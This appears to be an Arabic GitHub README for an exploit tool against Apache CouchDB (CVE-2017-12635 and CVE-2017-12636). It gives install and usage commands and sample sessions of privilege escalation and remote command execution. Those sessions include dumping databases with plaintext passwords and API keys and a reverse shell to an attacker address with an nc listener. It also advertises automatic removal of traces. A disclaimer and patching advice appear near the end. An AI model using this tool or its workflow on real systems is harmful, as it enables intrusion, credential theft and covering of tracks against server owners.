
يستغل ثغرات CouchDB (CVE-2017-12635/12636) لتصعيد الصلاحيات وتنفيذ الأوامر عن بُعد (RCE)، ثم يوفر شلًا تفاعليًا مع تنفيذ الأوامر وتصفح قاعدة البيانات وشل عكسي.
تستغل هذه الأداة ثغرتين حرجتين في Apache CouchDB:
| CVE | الوصف | الخطورة |
|---|---|---|
| CVE-2017-12635 | تصعيد الصلاحيات عبر تجاوز تحليل JSON | 🔴 حرجة |
| CVE-2017-12636 | تنفيذ الأكواد عن بُعد عبر Query Server | 🔴 حرجة |
curl http://target:5984/
✨ الميزات
✅ استغلال تلقائي - أمر واحد للتحكم في كل شيء
✅ قشرة تفاعلية - واجهة أوامر سهلة الاستخدام
✅ عارض قواعد البيانات - تصفح جميع قواعد البيانات والمستندات
✅ عرض JSON كامل - رؤية محتوى المستند بالكامل
✅ بحث شامل - البحث عن الكلمات المفتاحية في جميع قواعد البيانات
✅ أوامر النظام - تنفيذ أوامر عشوائية على الجهاز الهدف
✅ قشرة عكسية - الحصول على قشرة تفاعلية كاملة
✅ سجل الأوامر - تتبع إجراءاتك
✅ تنظيف تلقائي - إزالة الآثار بعد الاستغلال
✅ إخراج ملوّن - سهل القراءة والفهم
📦 التثبيت
# Python 3.6+ required
python3 --version
# Clone the repository
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
# Install dependencies
pip install -r requirements.txt
requests>=2.25.0
urllib3>=1.26.0
🚀 الاستخدام
# Simple exploit
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
# Example
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 الأوامر
بعد نجاح الاستغلال، ستحصل على قشرة تفاعلية:
📊 أمثلة
couchdb> db
[+] 39 databases:
1. _replicator (0 docs)
2. _users (12 docs)
3. admin (5 docs)
4. passwords (25 docs)
5. core-configuration (8 docs)
...
couchdb> view passwords
[+] Viewing database: passwords
============================================================
[*] Total documents: 25
📄 Document #1
ID: user_admin
Full content:
{
"_id": "user_admin",
"username": "admin",
"password": "Admin123!",
"email": "[email protected]",
"role": "superadmin"
}
------------------------------------------------------------
couchdb> search password
[+] Searching for 'password' in all databases...
============================================================
✅ Found in 'passwords'
ID: user1
Content:
{
"username": "root",
"password": "rootpass123"
}
✅ Found in 'config'
ID: app_settings
Content:
{
"db_password": "secret123",
"api_key": "sk_live_abc123"
}
couchdb> exec whoami
[+] Executing: whoami
[+] Command executed!
couchdb> exec id
[+] Executing: id
[+] Command executed!
# On your machine (listener)
nc -lvnp 4444
# In the exploit
couchdb> reverse 10.0.0.1 4444
[+] Setting up reverse shell to 10.0.0.1:4444
[!] Make sure listener is running: nc -lvnp 4444
[?] Continue? (y/n): y
[+] Reverse shell triggered!
# You should get a shell on your listener!
🖼️ لقطات الشاشة
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot
https://via.placeholder.com/800x400?text=Database+View
https://via.placeholder.com/800x400?text=Reverse+Shell
⚠️ إخلاء المسؤولية
هام: هذه الأداة مخصصة للأغراض التعليمية وللاختبارات المصرّح بها فقط.
🚫 لا تستخدمها على أنظمة دون إذن صريح
🚫 المؤلف غير مسؤول عن أي سوء استخدام
🚫 استخدمها فقط في بيئات خاضعة للتحكم أو على أنظمتك الخاصة
✅ احصل دائمًا على تصريح كتابي قبل الاختبار
✅ اتبع ممارسات الإفصاح المسؤول
باستخدامك لهذه الأداة، فإنك توافق على هذه الشروط.
🔐 نصائح أمنية
إذا كنت مسؤول نظام:
قم بالترقية فورًا إلى CouchDB ≥ 1.7.0 أو ≥ 2.1.1
استخدم جدار الحماية لتقييد الوصول إلى المنفذ 5984
فعّل المصادقة واستخدم كلمات مرور قوية
راقب السجلات بحثًا عن أي نشاط مشبوه
قم بمراجعات أمنية منتظمة لبنيتك التحتية
# Upgrade CouchDB
sudo apt-get update
sudo apt-get install couchdb=2.1.1 # Or latest version
# Restrict access
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 المراجع
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
أمان Apache CouchDB
Exploit-DB
👤 المؤلف
darabium
GitHub: @darabium
Telegram: @darabium
⭐ الدعم
إذا وجدت هذه الأداة مفيدة:
⭐ قم بتمييز المستودع بنجمة
🐛 أبلغ عن المشكلات
🔧 ساهم بالتحسينات
📢 شاركها مع الآخرين
📄 الترخيص
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
صُنع بـ ❤️ لأبحاث الأمن
⬆ العودة إلى الأعلى
| الإصدار | قابل للاستغلال | الإصدار المُصحَّح |
|---|
| Apache CouchDB < 1.7.0 | ✅ نعم | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ نعم | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ نعم | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ نعم | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ لا | - |
| الأمر | الوصف | المثال |
|---|
| db | عرض جميع قواعد البيانات مع عدد المستندات | db |
| view | عرض جميع المستندات في قاعدة بيانات (JSON كامل) | view passwords |
| raw | عرض استجابة الخادم الخام | raw admin |
| count | حساب عدد المستندات في قاعدة بيانات | count users |
| search | البحث عن كلمة مفتاحية في جميع قواعد البيانات | search admin |
| exec | تنفيذ أمر نظام | exec whoami |
| reverse | إعداد قشرة عكسية | reverse 10.0.0.1 4444 |
| history | عرض سجل الأوامر | history |
| help | عرض هذه القائمة | help |
| exit | الخروج مع التنظيف | exit |